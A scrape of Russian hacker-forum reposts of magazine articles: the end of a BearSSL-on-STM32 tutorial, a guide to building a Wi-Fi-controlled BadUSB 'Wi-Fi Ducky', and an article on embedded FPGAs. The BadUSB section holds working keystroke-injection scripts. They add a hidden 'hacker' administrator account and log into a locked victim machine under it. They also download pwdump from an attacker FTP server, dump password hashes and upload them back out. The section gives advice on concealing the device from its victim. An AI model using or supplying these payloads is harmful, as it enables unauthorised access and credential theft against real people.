    uint32_t epoch = buffer[40] << 24 | buffer[41] << 16 | buffer[42] << 8 | buffer[43];
    epoch -= TIME1970;

    tv -> tv_sec = epoch;
    tv -> tv_usec = 0; /* do not need this */
    return 0;
}

К слову, ты можешь задавать время либо в процессе компиляции (даже приблизительно), либо воспользовавшись модулем RTC. На результатах проверки срока действия сертификата это сказаться не должно.

Аппаратный ГСЧ

Традиционный подход к генерации случайных чисел в среде Arduino выглядит примерно так:

Code:Copy to clipboard

int i = analogRead(A0); /* A0 is NOT connected */
srand(i);
int num = rand();

Такой программный метод имеет право на жизнь в простых ситуациях, но для криптографического применения он решительно не подходит. К счастью, у микроконтроллера F746NG богатая периферия и есть ГСЧ (TRNG, True Random Number Generator). Им мы и воспользуемся, предварительно заглянув в документацию (RM0385, с. 543). Там всего-то три регистра, которые отвечают за взаимодействие с аппаратной частью, — RNG_CR (Control Register), RNG_SR (Status Register) и RNG_DR (Data Register).

Code:Copy to clipboard

#include <stm32f746xx.h> /* for CMSIS defines */

void rng_enable() {
    if (RNG -> CR & RNG_CR_RNGEN) {
        return; /* already enabled */
    }
    RCC -> AHB2ENR |= RCC_AHB2ENR_RNGEN; /* clock enable */
    RCC -> CR |= RNG_CR_RNGEN; /* rng on */
}

uint32_t rng_generate() {
    if (RNG -> SR & (RNG_SR_CECS | RNG_SR_SECS)) {
        return 0; /* seed error or clock error */
    }
    while (!(RNG -> SR & RNG_SR_DRDY)) {
        /* wait for data to appear */
    }
    return RNG -> DR;
}

Без знакомства с документацией такой код может быть сложен для восприятия, но зато это эффективно и, так как мы работаем максимально близко к железу (для языка С, разумеется), требует минимум машинных инструкций (в отличие от библиотек HAL, Hardware Abstraction Layer). Конечно, настройка остальной периферии занимает чуть больше времени и места, но принцип остается тем же. Так что со временем изучение CMSIS обязательно окупит себя.

Функции ввода-вывода

BearSSL внутри состоит из трех глобальных объектов: движок, контекст клиента (или сервера) и контекст проверки сертификатов. Это платформонезависимые вещи, и для связи с внешним миром им нужны всего две базовые функции на прием и передачу, которые необходимо зарегистрировать в библиотеке для обратного вызова. Это ключевая часть пользовательского кода, поэтому есть смысл потратить время и изучить ее подробнее.

Code:Copy to clipboard

#include "bearssl.h"
#include "ESP8266.h"

#define INPUT_SIZE       (0x2000) /* 8 KiB should be enough */

static uint8_t input[INPUT_SIZE];

/* bearSSL local objects */
static br_ssl_client_context sc;
static br_x509_minimal_context xc;
static br_sslio_context ioc;

/* TCP/SSL driver variables  */
static uint_fast16_t rx_bytes = 0; /* number of received bytes */
static uint_fast16_t p = 0; /* input buffer index */

extern ESP8266 *wifi; /* should be defined in main */

static int wifi_recv(void *ctx, unsigned char *b, size_t len) {
    uint_fast16_t rq_bytes = len; /* bearSSL requested some bytes */
    while (rx_bytes - p < rq_bytes) { /* have to fullfill request */
        while (int rec_len = wifi -> recv(input + rx_bytes, INPUT_SIZE - rx_bytes, 100)) {
            rx_bytes += rec_len; /* received bytes */
        }
    }
    while (rq_bytes-- > 0) {
        *(b++) = input[p++]; /* handle all bytes to bearSSL */
    }
    return len; /* request completed, report success*/
}

static int wifi_send(void *ctx, const unsigned char *b, size_t len) {
    rx_bytes = p = 0; /* flush input buffer */
    return wifi -> send((uint8_t*) b, len) ? len : 0; /* if not success, report to be called again */
}

Обрати внимание на размер буфера и его расположение. Протокол SSL/TLS предусматривает длину сообщений до 16 Кбайт. На практике ты вряд ли встретишь настолько большие сообщения, поэтому 8 Кбайт выглядят разумным компромиссом. Кроме того, буфер размещен во внутренней SRAM микроконтроллера. Так как буферов у нас будет больше одного, возможно, это не самое удачное место.

В самом начале я говорил о внешней микросхеме SDRAM, которая имеет гораздо больший объем (8 Мбайт против 320 Кбайт) при сравнительно одинаковой скорости и времени доступа. После инициализации FMC и банков памяти это пространство будет доступно для программы, и, скорее всего, это более подходящее место. Однако это увело бы нас чуть в сторону от основной темы статьи.

Основное место в коде занимают методы recv() и send() класса ESP8266. Именно для использования готовой библиотеки пришлось искать пропавший Serial6 в исходниках STM32duino. Зато, уже имея на руках отлаженный код, сравнительно просто организовать учет данных, принятых и переданных bearSSL.

Здесь есть нюанс: иногда метод recv() не находит доступного сегмента и возвращает ноль, хотя прием еще не был завершен. К счастью, библиотека bearSSL лучше знает, сколько байтов должно поступить (для этого в заголовке каждого сообщения SSL/TLS есть поле с количеством байтов в теле), поэтому доверяемся ей и не выходим из внешнего цикла whileдо окончания передачи.

Подключаемся к API

Теперь, когда все готово, надо протестировать наш код на чем-то интересном. Вообще, потребность подключения и настройки библиотеки bearSSL под STM32 лично у меня возникла, когда я захотел парсить данные с рынка в одной популярной многопользовательской игре и выводить их на дополнительный дисплей. Уверен, у тебя уже есть свои мысли, как с пользой применить полученные знания, поэтому буду краток и просто покажу как пример.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F02%2F208368%2Fboard.jpg&hash=8e5efeff42eb9fd7959dc2e5f02a8f3f)
Доска объявлений в Final Fantasy X|V

Самый простой способ получить актуальные рыночные цены для FFX|V — это посылать запросы на сторонний сервис, который предоставляет API, он называется XIVAPI. Но сам сервер ограничивает число запросов за секунду, и, чтобы вести подсчет, требуется вместе с запросом посылать уникальный ключ клиента или приложения (стандартно). Именно чтобы сохранять ключ в секрете и не позволить третьей стороне использовать сервис от нашего лица, запрос следует посылать по HTTPS-протоколу с шифрованием SSL/TLS.

Code:Copy to clipboard

#include "ESP8266.h"
#define PORT              (443)
#define BR_IN_SIZE        (0x2000)
#define BR_OUT_SIZE       (0x2000)
#define BUFFER_SIZE       (0x2000)
#define ENTROPY_SIZE      (8) /* total 256-bits of random from hardware RNG */

const char *ap_name = "wifi_name"; /* user defined */
const char *ap_pswd = "wifi_pswd"; /* user defined */
const char *host = "www.xivapi.com";
const char *path = "/market/cerberus/items/18189/history?key=XXXXXXXXXXXX"; /* user defined */

ESP8266 *wifi;

static uint8_t iobuf_in[BR_IN_SIZE];
static uint8_t iobuf_out[BR_OUT_SIZE];
static uint8_t buffer[BUFFER_SIZE]

void setup() {
    uint32_t entropy_pool[ENTROPY_SIZE];

    Serial.begin();
    Serial.println();
    wifi = new ESP8266(Serial6, 1000000);
    wif -> joinAP(ap_name, ap_pswd);

    br_ssl_client_init_full(&sc, &xc, TAs, TAs_NUM); /* user defined trust anchors */
    br_ssl_engine_set_buffers_bidi(&sc.eng, iobuf_in, sizeof(iobuf_in),
                                                                       iobuf_out, sizeof(iobuf_out));

    rng_enable();
    for (uint_fast8_t i = 0; i < ENTROPY_SIZE; ++i) {
        entropy_pool[i] = rng_generate();
    }
    br_ssl_engine_inject_entropy(&sc.eng, entropy_pool, sizeof(entropy_pool));
    br_sslio_init(&ioc, &sc.eng, wifi_recv, wifi, wifi_send, wifi);
}

void loop() {
    wifi -> createTCP(host, PORT);

    /* send request */
    br_ssl_client_reset(&sc, host, 0);
    br_sslio_write_all(&ioc, "GET ", 4);
    br_sslio_write_all(&ioc, path, strlen(path));
    br_sslio_write_all(&ioc, " HTTP/1.1\r\nHost: ", 17);
    br_sslio_write_all(&ioc, host, strlen(host));
    br_sslio_write_all(&ioc, "\r\n\r\n", 4);
    br_sslio_flush(&ioc);

    /* receive answer */
    for (uint_fast16_t count = 0, len = 0;; count += len) {
        len = br_sslio_read(&ioc, buffer + count, BUFFER_SIZE - count);
        if (len < 10) { /* last record */
            buffer[count] = '\0';
            break;
        }
    }
    br_sslio_flush(&ioc);

    wifi -> releaseTCP();

    Serial.println((char*)buffer);
    delay(10000);
}

Если ты запустишь этот код (и если Хаканубис услышит твои молитвы), то в «Мониторе порта» увидишь стандартный ответ сервера HTTP и полезную нагрузку — JSON с ценами на сервере Cerberus для предмета с ID 18189 (к слову, это High Steel Longsword).

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F02%2F208368%2Foutput.jpg&hash=c5d6deb0e135d165e725c1c1218a4c43)

Распарсить объект и получить любую интересующую информацию теперь легко с помощью библиотеки rapidjson. Я обрабатываю данные сразу на микроконтроллере и вывожу на дисплей с помощью периферийного модуля LTDC. Это и близко не исчерпывает возможности микросхемы F746NG, поэтому лично для меня впереди еще много работы по этому проекту.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F02%2F208368%2Fthird.jpg&hash=0be5a4bfdfca8d33e5d0706adf9880fe)
Конкурентное преимущество на рынке выглядит как-то так. Интересно, за это банят?

Заключение

Надеюсь, тебе было интересно и ты узнал для себя что-то новое. Программирование близко к железу имеет свое очарование и позволяет почувствовать и понять все нюансы работы как программной, так и аппаратной части.

К сожалению, я не смог в объеме статьи уместить полноценную обработку ошибок или вывод отладочной информации (попробуй ради любопытства выводить тело сообщений SSL/TLS и сравни их с описанием в RFC). Но возможно, это и к лучшему. У тебя есть стимул дополнить и самостоятельно улучшить код, как тебе будет нужно.

Кроме того, рекомендую все-таки завести внешнюю SDRAM и расположить буферы ввода-вывода там или подумать об использовании прямого доступа к памяти (DMA). Не то чтобы это было так уж необходимо (по крайней мере, на нашем этапе реализации), но откладывать оптимизацию на самый конец — не лучшая идея.

Еще один важный аспект производительности — это время, которое приходится потратить на обработку запроса. Сейчас первое подключение к сервису и рукопожатие занимают от 4 до 6 секунд, последующие сообщения от 2 до 2,5 секунды (когда параметры сессии уже в кеше). Это не так уж плохо, все-таки криптография требует приличного количества ресурсов, да и запрос у нас с реальной полезной нагрузкой, а не просто HTTP/1.0 200 OK.

На самом деле в линейке F7 от STMicroelectronics уже есть микросхемы с аппаратными блоками HASH и CRYP. По тестам, это позволяет сократить время некоторых вычислений от двух до четырех раз! К сожалению, на F746NG эта периферия недоступна, да и bearSSL их пока не поддерживает.

Вместе с дополнительными библиотеками (для JSON и GUI) код занимает всего 186 Кбайт ПЗУ (ROM) и 45 Кбайт ОЗУ (RAM). При этом около 40% уходит на графический интерфейс и шрифты для экрана. Если использовать внешнее хранилище в виде QSPI flash или карты microSD, то расход по памяти можно еще сократить. Напомню, у микроконтроллера целый мегабайт ПЗУ и 320 Кбайт ОЗУ, так что реализовать можно еще много интересного. Дерзай!

(c) faberge

Злая утка с дистанционным управлением. Собираем и программируем BadUSB с Wi-Fi
ID: 676535aeb4103b69df3736b0
Thread ID: 27372
Created: 2019-01-20T14:48:07+0000
Last Post: 2019-01-20T14:48:07+0000
Author: lukas
Replies: 0 Views: 2K

Злая утка с дистанционным управлением. Собираем и программируем BadUSB с Wi- Fi

Ты, разумеется, знаешь истории о том, как хакеры используют для атак устройства, похожие на флешку. Достаточно подобраться к серверу и подключить такой девайс, чтобы заполучить удаленный контроль. Согласись, очень похоже на прототип Rubber Ducky. Однако «злая утка» — это всегда разовая акция: один скетч и заранее известные действия. Сегодня мы приготовим гораздо более универсальную модификацию.

Чуть больше, чем Rubber Ducky
Наверняка ты уже слышал про [Rubber Ducky](https://shop.hak5.org/products/usb- rubber-ducky-deluxe). Это устройство из разряда BadUSB для HID-атаки. Подобного рода девайсы умеют эмулировать клавиатуру и позволяют отправить любые команды, словно их набрал текущий пользователь.
В этих устройствах есть простой микроконтроллер и память, в которую записывается скетч (код для Arduino и подобных отладочных плат). Он содержит функцию эмуляции нужного устройства и набор выполняемых им действий. Как показывает практика, обычно это клавиатура и последовательность «нажимаемых» на ней клавиш.

В статье «Злой HID» уже было детально описано, как выбрать и подготовить такой девайс, так что на этом останавливаться не буду. Стоит лишь сказать, что опасность этого метода атаки заключается в скрытности и скорости исполнения.
Конечно, у этих девайсов есть и свои недостатки. Во-первых, нужно тщательно разведать полную конфигурацию компьютера-жертвы. Во-вторых, перед реальной атакой нужно проверить, как она будет выполняться на максимально подобной тестовой системе, и внести необходимые правки — в частности, подобрать оптимальные задержки. В реальных условиях, скорее всего, будет проблематично второй раз приблизиться к атакуемому компьютеру, а если хоть один скан-код клавиши будет отправлен не вовремя, то все окажется напрасным. В-третьих, можно использовать только один скетч. Нельзя дописать какую-то функцию на лету или прервать и перезапустить набор действий. Мы изготовим устройство, лишенное этих недостатков.

Готовим Wi-Fi Ducky
Практически это будет тот же самый Rubber Ducky, только с модулем Wi-Fi. Суть в том, что при его подключении к компьютеру скетч не выполняется сразу при подаче питания на плату (хотя такая функция тоже есть). В этот момент создается точка доступа, которая ждет подключения. Соединиться с ней можно как со смартфона, так и с ноутбука и уже оттуда в любой удобный момент совершать необходимые действия.
За основу можно взять Arduino MKR1000 с Wi-Fi-модулем Atmel ATSAMW25 на борту, добавить библиотеку WiFi101 и готовый код отсюда. Однако обойдется это в 35 долларов. Также есть готовый проект Cactus WHID. Он стоит уже 14 долларов и выглядит как флешка, но доработать его будет сложнее.
Я предлагаю собрать более дешевый (меньше десяти долларов) и функциональный девайс под названием Wi-Fi Ducky. Его автор — Stefan Kremser с ником «Космокурица», а железо для его крутых самоделок продается в отдельном магазине на AliExpress. Там можно купить готовые DIY-модули, скачать код с гитхаба и повторить все шаг за шагом, однако мы пойдем немного другим путем.
Возьмем два устройства:

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F01%2F203720%2F1.jpg&hash=a9c4432faa6f2391f08a344deddfba9a)
Arduino Pro Micro

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F01%2F203720%2F2.jpg&hash=faa3dc1fa25bd5b062a3f523d98d858c)
WeMos D1 mini

Нам необходимо будет соединить их, но вначале — прошить.
Все описанные действия выполнялись на операционной системе Windows 7 x64.

Прошивка Arduino Micro Pro
Начнем с платы Arduino. Скачиваем и устанавливаем Arduino IDE. При установке этого программного обеспечения заодно установятся все драйверы для этого устройства, так что дополнительно ничего не надо будет устанавливать. Чтобы подключить ее к компьютеру, необходимо запастись OTG-адаптером или кабелем с надлежащими выходами, так как на плате расположен разъем mini-USB.

После установки программного обеспечения запускаем его и подключаем Arduino к компьютеру. В меню «Инструменты» в разделе «Плата» выбираем Arduino/Genuino Micro. Далее в том же меню выбираем COM-порт, на котором определено устройство. На этом настройка программного обеспечения завершена.

Следующим шагом идем по ссылке, где расположен скетч. На него достаточно взглянуть, чтобы понять, что он делает: преобразует команды типа STRING в поддерживаемый Arduino синтаксис типа Keyboard.print(“”) и активирует нужные контакты. Копируем его и вставляем в Arduino IDE. Нажимаем кнопку «Загрузка» и через две-три минуты получаем сообщение о том, что скетч успешно загружен. Теперь при подаче питания на плату контроллер активирует контакты TX, RX, GND и RAM, после чего переходит в режим ожидания команд.

Прошивка WeMos D1 mini
Добрались до следующего компонента нашей злой утки на стероидах. В этот раз нам потребуется перейти с micro-USB на USB Type-А. При первом подключении к компьютеру Windows ругнется на неопределенное устройство, поэтому необходимо скачать драйвер CH341 c официального сайта.

Тут ничего сложного: извлекаем из архива EXE-файл, запускаем его с правами администратора и нажимаем INSTALL. После этих нехитрых манипуляций в диспетчере устройств эта плата должна определиться как USB-SERIAL СР340. Поделюсь горьким опытом: если установить неверный драйвер, то устройство определится, но название будет другое, и ничего не заработает. Будь предельно внимательным!

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F01%2F203720%2F3.png&hash=c63980eef45e26d943a4d240954f8887)
Правильное определение WeMos D1 mini

Теперь устройство готово к прошивке, и нам нужен прошивальщик. Я воспользуюсь NodeMCU firmware programmer. Заходим на GitHub и скачиваем его в соответствии с версией твоей операционки. У меня это Win64. Еще необходимо скачать саму прошивку. Их будет несколько вариаций, я скачивал esp8266_wifi_duck_4mb.bin, как наиболее увесистый и функциональный вариант.
После этого запускаем и настраиваем прошивальщик. В поле COM Port выбираем тот порт, на котором определилась плата. Обычно программа сама его «видит» и подставляет необходимое значение. Далее переходим во вкладку Config, где в первой строке нажимаем на шестеренку и указываем путь до прошивки, которую скачали. Значение остается 0x00000. Во вкладке Advanced советую выставить параметр Baudrate на 115200. У меня прошивка записалась на такой скорости, а если у тебя возникнет ошибка, то просто уменьши ее. Остальное оставляем без изменения. В итоге должно получиться как на скриншоте.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F01%2F203720%2F4.png&hash=965a67506d2b294e33f673b18134fc91)
Значения программы NODEMCU FIRMWARE PROGRAMMER на вкладке Advanced

Когда все нехитрые манипуляции будут выполнены, возвращаемся на вкладку Operation и нажимаем Flash. Ниже кнопки расположен индикатор, который покажет приблизительное время загрузки прошивки в память, а зеленая галочка с надписью NODEMCU TEAM даст знать, что прошивка закончилась.

Работаем паяльником
После того как обе платы подготовлены и прошиты, необходимо соединить их в одного «Франкенштейна». Для этого подключаем проводами контакты в соответствии с таблицей:

Code:Copy to clipboard

Arduino <--> Wemios
TX      <--> RX
RX      <--> TX
GND     <--> GND
RAM     <--> 5U

Для начала лучше соединить их без пайки (на монтажной плате очень удобно) и проверить работоспособность. Подключаем к компьютеру Arduino Micro Pro и тестируем. Если устройство завелось и работает как надо, то можно собирать его уже с припоем. Мелких деталей там нет, перегреть особо нечего, так что получится даже у того, кто недавно поссорился с паяльником.
Вот как получилось у меня.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F01%2F203720%2F5.jpg&hash=f8d60eecd4362c9916015499570a838b)
Как примерно должно получиться

Проверяем и разбираем функциональность
Самое время проверить, не сломалась ли какая-то из плат во время пайки. Подключаем Arduino Micro Pro к компьютеру и ждем, пока установится универсальный драйвер для HID-устройства. «Ардуина» должна сигнализировать двумя красными и одним зеленым светодиодами.
С телефона, планшета или ноутбука смотрим список точек доступа Wi-Fi. Должна появиться новая AP под названием WiFi Duck. Если ее видим, значит, все работает. Можно вскинуть руки, закричать «It’s Alive!» и дьявольски захохотать во вспышках молний.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F01%2F203720%2F6.jpg&hash=99fb6163409762f45b81cd617ff75ca8)
Точка доступа WiFi Duck

Подключаемся к ней. Пароль — quackquack (это дефолтный, его можно будет изменить в настройках). Теперь открываем браузер, идем по адресу 192.168.4.1 (это дефолтный адрес ESP-8266EX в режиме AP) и видим панель управления нашим устройством.
На web-интерфейсе все по-спартански, ничего лишнего. Четыре страницы, или вкладки, — две рабочие и две информационные:

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F01%2F203720%2F7.png&hash=cc2a11297af51ff9993e7a90b9c455f3)
Страница Scripts

Пишем скрипты для атак
Наше кибероружие подготовлено и начищено, осталось зарядить его скриптами. Обрати внимание на расстановку пауз в них (DELAY). Они нужны для того, чтобы код не начал выполняться слишком рано — прежде, чем целевой компьютер успеет на него отреагировать. Советую делать паузы побольше, исходя из того, что система жертвы будет медленней твоей тестовой. Это может быть из-за отсутствия на ней SSD, меньшего объема оперативки, медленного процессора и так далее.
Смоделируем такую ситуацию: Wi-Fi Ducky уже подключен к цели, а мы находимся где-то неподалеку. В системе есть учетная запись пользователя с правами локального администратора, и она сейчас активна. Нам необходимо выполнить какое-то действие. Для начала создадим скрипт, который создаст еще одного пользователя и добавит его в группу «Администраторы».

Code:Copy to clipboard

GUI r
STRING cmd
ENTER
DELAY 100
STRING net user hacker qwerty /add
DELAY 200
STRING net localgroup administrators hacker /add
ALT KEY_F4

Если скетч запустится с правами учетной записи обычного пользователя, то появится сообщение: «Системная ошибка 5. Отказано в доступе». Под админом он выполнится менее чем за полсекунды, после чего окно консоли закроется.

Для русифицированных версий Windows придется указать имя группы «Администраторы» по-русски: net localgroup Администраторы hacker /add. Однако для этого потребуются дополнительные действия.

Отлично, теперь необходимо дождаться, пока пользователь заблокирует компьютер и уйдет, к примеру, на обед. Запускаем скрипт, который разблокирует компьютер под нашим пользователем:

Code:Copy to clipboard

TAB
DELAY 30
TAB
DELAY 30
ENTER
TAB
DELAY 30
TAB
DELAY 30
ENTER

Вуаля! Мы работаем за компьютером жертвы без ее ведома с новой учетной записью. Конечно, если в системе всего две учетные записи — исходная и наша.
Далее, к примеру, можно загрузить с заранее подготовленного FTP-сервера pwdump:

Code:Copy to clipboard

GUI r
DELAY 30
STRING cmd
ENTER
DELAY 30
STRING echo open > ftp.txt & echo ip-ftp >> ftp.txt & echo user >> ftp.txt & echo password >> ftp.txt & echo get pwdump.exe >> ftp.txt & echo bye >> ftp.txt
ENTER
DELAY 50
STRING ftp –s:ftp.txt
DELAY 3000

После чего мы можем сдампить хеши паролей:

Code:Copy to clipboard

STRING pwdump.exe >> pass.txt

…и загрузить файл обратно на сервер:

Code:Copy to clipboard

STRING echo open > ftp1.txt & echo ip-ftp >> ftp1.txt & echo user >> ftp1.txt & echo password >> ftp1.txt & echo send pass.txt >> ftp1.txt & echo bye >> ftp1.txt
DELAY 50
STRING ftp –s:ftp1.txt

Останется воспользоваться радужными таблицами для расшифровки, и мы уже владеем учетными записями для продолжения атаки. Устройство все еще в компьютере, и делать мы можем что угодно в радиусе приема «злого Wi-Fi».

Дорабатываем и совершенствуем
Получился довольно неплохой хакерский девайс, но нет предела совершенству. Приведу несколько примеров того, как можно доработать это детище.
Чтобы устройство не светилось, как гирлянда, в чужом компьютере, можно заменить светодиоды перемычками или закрасить их лаком для ногтей (в несколько слоев). Две отладочные платы на торчащих проводах явно вызовут подозрения, поэтому неплохо было бы подобрать или изготовить для них корпус.
Если будет возможность не просто подобраться к системному блоку, а вскрыть его, то неплохо было бы обзавестись кабелем, который подключается к материнской плате напрямую. Это сильно уменьшит шансы того, что устройство в скором времени обнаружат.
Если устройство будет внутри системного блока, то можно воспользоваться D1 mini Pro V1.1.0, так как у нее есть разъем под внешнюю антенну — она увеличит радиус действия.

Заключение
Мы сделали усовершенствованную модель Rubber Ducky — Wi-Fi Ducky. Это довольно опасное устройство размером со спичечный коробок, причем его создание не требует больших вложений. Возможность изготовить его самостоятельно сильно облегчается наличием готовых плат Arduino и скетчей для них.
По-хорошему отладочные платы используют именно для прототипирования, а в дальнейшем разводят уже свою плату с тем же микроконтроллером и модулем Wi-Fi, но без лишних элементов. Ее изготовление можно заказать на заводе. Например, здесь доступно мелкосерийное производство от пяти долларов, и подобных сервисов много.
Можно записать в память Wi-Fi Ducky скрипты, а затем выполнять их в любое время и на любой операционной системе — встроенной памяти хватит на тысячи строк кода. Дистанционное управление добавляет устройству универсальности по сравнению с локальными девайсами класса BadUSB. С ним можно делать на удаленном компьютере что угодно, словно ты сам сидишь за его клавиатурой.
Это будет уже не спайка двух отладочных плат, торчащая из USB-порта, а серьезный Wi-Fi Ducky — более миниатюрный и надежный, не привлекающий внимания.
Защититься от такого девайса можно точно так же, как и от Rubber Ducky: необходимо заблокировать добавление нового HID-устройства средствами операционной системы либо комплексными системами защиты (Kaspersky, HEAT Software и прочие Endpoint Security).

автор: 8bit

Перепрограммировать процессор. Как работают встраиваемые FPGA и где они пригодятся
ID: 676535aeb4103b69df3736b3
Thread ID: 26617
Created: 2018-11-23T10:42:10+0000
Last Post: 2018-11-23T10:42:10+0000
Author: tabac
Replies: 0 Views: 2K

Перепрограммировать процессор. Как работают встраиваемые FPGA и где они пригодятся

В мае 2018 года, после четырех лет работы, первые клиенты Intel получили серверные процессоры Xeon со встроенными FPGA — [Intel Xeon SP-6138P](https://www.anandtech.com/show/12773/intel-shows-xeon-scalable- gold-6138p-with-integrated-fpga-shipping-to-vendors). Это первая ласточка нового класса продуктов, о котором в Intel говорили с тех самых пор, как корпорация [поглотила](https://newsroom.intel.com/news-releases/intel- completes-acquisition-of-altera/) одного из двух ведущих производителей FPGA — фирму Altera.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F11%2F194484%2Fintelfpga.jpg&hash=38ce8dfe8db1490471b5bf2b214a5e99)
Intel Xeon SP-6138P

Главное преимущество FPGA над программной реализацией решения той же задачи — существенно большая скорость. Хардверная реализация в виде специализированного чипа уступает FPGA: последние можно настраивать под нужды конкретного пользователя, даже если ему нужен всего один чип и даже если задача может изменяться в процессе работы микросхемы.

Второе особенно важно, ведь стандарты передачи и обработки информации регулярно обновляются, а покупать новое железо каждый раз крайне накладно. Разумеется, за эти преимущества FPGA расплачиваются высокой стоимостью и некоторыми другими недостатками, но свое место под солнцем они уже завоевали очень давно: самые первые продукты Xilinx и Altera стали хитами в середине восьмидесятых, и рынок программируемой логики, оценивавшийся в 100 миллионов долларов в 1985 году, сейчас составляет семь миллиардов и продолжает расти.

Идея встроенных FPGA достаточно нова, и SP-6138P — первый важный продукт такого рода.

Целевая задача, для которой Intel ставят в серверный процессор FPGA, — аппаратная реализация [Open Virtual Switch](https://www.nextplatform.com/2018/05/24/a-peek-inside-that-intel-xeon- fpga-hybrid-chip/), одного из ключевых инструментов виртуализации в дата- центрах. По данным Intel, применение FPGA должно вдвое уменьшить задержку, утроить пропускную способность и освободить часть процессорных ядер от программной реализации Open Virtual Switch, таким образом увеличив доступную вычислительную мощность на том же процессоре.

Соединение двух чипов на печатной плате (пусть даже маленькой и находящейся внутри корпуса) требует организации канала передачи данных, который включает в себя схемы ввода-вывода двух кристаллов и соединения между кристаллами и корпусом или платой. Все это — задержки и увеличение потребляемой мощности. В случае встроенной FPGA достаточно напрямую соединить два массива маленьких транзисторов, не теряя время и мощность на преобразование сигнала в удобоваримый для стандартов DDR4/PCIe вид. Внутрикристальная шина может быть любой ширины и конфигурации, что существенно удешевляет систему и позволяет организовать удобный обмен данными между FPGA и процессором и даже, например, обеспечить когерентность кеш-памяти без снижения частоты работы системы.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F11%2F194484%2Fachronix- fig2.gif&hash=9c7bfdb8f4e91b34ebeb682c986c1f7e)
Изображение с сайта electronicdesign.com хорошо визуализирует: добавление только вычислительного ядра FPGA без интерфейсной обвязки гораздо экономичнее, чем использование чипа standalone

Именно возможность максимально быстрого и удобного обмена данными с другими частями системы — главный драйвер развития встраиваемых FPGA.

Разумеется, продукт Intel — не первый на рынке. С несколько меньшим шумом встраиваемые FPGA уже давно завоевывают сердца производителей самых разных систем на кристаллах. Однако, когда такой шаг совершает один из крупнейших игроков, это может стать началом интересного тренда.

Встраиваемые FPGA
Intel Xeon SP-6138P — это система в корпусе, которая объединяет под одной крышкой чип процессора Xeon SP-6138G и чип FPGA Arria 10 GX 1150. Это намного более удобное решение, чем отдельные корпуса процессора и FPGA на плате, но, в общем-то, все равно полумера. Почему?

TDP (расчетное тепловыделение) SP-6138P составляет 120 Вт, и из них на долю FPGA отведено целых семьдесят. Большое энергопотребление — плата за универсальность, ведь на кристалле FPGA должно быть не только все то, что нужно пользователю прямо сейчас, но и все то, что может понадобиться когда- нибудь. При этом сама логическая матрица потребляет не так много; куда больше уходит на высокоскоростные интерфейсы, конфигурационную память, служебные блоки типа собственной PLL, а также статическое потребление. Частично эта проблема решается отключением питания неиспользуемых блоков, но все же это не всегда удобно. А что, если взять от FPGA только программируемую логическую матрицу и на том же кристалле подключить ее напрямую ко всем ресурсам процессора?

Первые варианты подобных схем появились еще [в конце девяностых](http://www.techdesignforums.com/blog/2018/07/16/embedded-fpga-soc- applications/), но тогда они «не взлетели», в основном из-за неготовности рынка и слабой программной поддержки. Второе рождение технология пережила с 2010 по 2014 год, когда появилось сразу несколько успешных стартапов, в числе которых были такие компании, как Achronix, FlexLogic и NanoXplore. Они развили эту технологию, а рынок ASIC и заказных блоков для них переживал бум. В итоге сейчас, если ты не готов разрабатывать собственный чип, всегда есть неплохой выбор встраиваемых FPGA любого размера для большинства популярных технологий.

![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F11%2F194484%2Fiadro.gif&hash=5242da191ecebe715c8153de2d3c78ee)
Схематичное изображение ядра обычных FPGA и встраиваемых

Ядро встраиваемых FPGA [устроено так же](https://www.electronicdesign.com/industrial-automation/embedded-fpga- under-hood), как и у обычных: это матрица из многовходовых конфигурируемых логических элементов (LUT), соединенных коммутируемой матрицей. Конструкция каждого LUT отличается в зависимости от производителя и модели, но в целом похожа на то, что мы можем найти в обычных FPGA.

Важное различие состоит в том, что FPGA на отдельных кристаллах всегда оптимизируются на максимальные производительность и быстродействие и изготавливаются на самых современных доступных технологиях, а вот встраиваемая FPGA может быть, в зависимости от задачи, оптимизирована для минимального энергопотребления в «спящем» режиме или для работы при очень малом напряжении питания.

В этом, собственно, и состоит принципиальное отличие встраиваемых FPGA от аналогов standalone: обеспечивая гибкость в дизайне, они гораздо лучше поддаются оптимизации под нужды конкретной микросхемы.

Обратный подход
Встроенная в процессор FPGA — не единственный возможный вариант их совмещения. С тех пор как появились FPGA, с их помощью стали реализовывать разные процессорные ядра — от вариантов популярных архитектур до специально заточенных под FPGA ядер, таких как [PicoBlaze](https://www.xilinx.com/products/intellectual- property/picoblaze.html) для Xilinx и [NIOS](https://www.intel.com/content/www/us/en/products/programmable/processor/nios- ii.html) для Altera.
Со временем FPGA стали больше, и логичным шагом для их производителей стало разместить на кристалле не только «море вентилей» для пользователя, но и специальные аппаратные блоки для частых задач. Разумеется, в число этих блоков попали и микропроцессорные ядра, так популярные у пользователей.
Например, чипы семейства Xilinx Zynq содержат от одного до четырех процессорных ядер архитектуры ARM и даже GPU, позволяя пользователям создавать достаточно сложные системы на одном кристалле.
Популярность встраиваемых FPGA неразрывно связана с развитием сложных систем на кристалле, выпускаемых для решения специфических задач в разных областях, в том числе таких быстро развивающихся, как интернет вещей, искусственный интеллект и беспроводные сети. Срок разработки заказной микросхемы — несколько лет, и за это время она легко может устареть, ведь разнообразные стандарты постоянно обновляются, а программная реализация важных для функционирования алгоритмов гораздо медленнее и энергозатратнее аппаратной. И именно тут на помощь приходят встраиваемые FPGA, которые позволяют обновлять железо на протяжении всего срока службы.

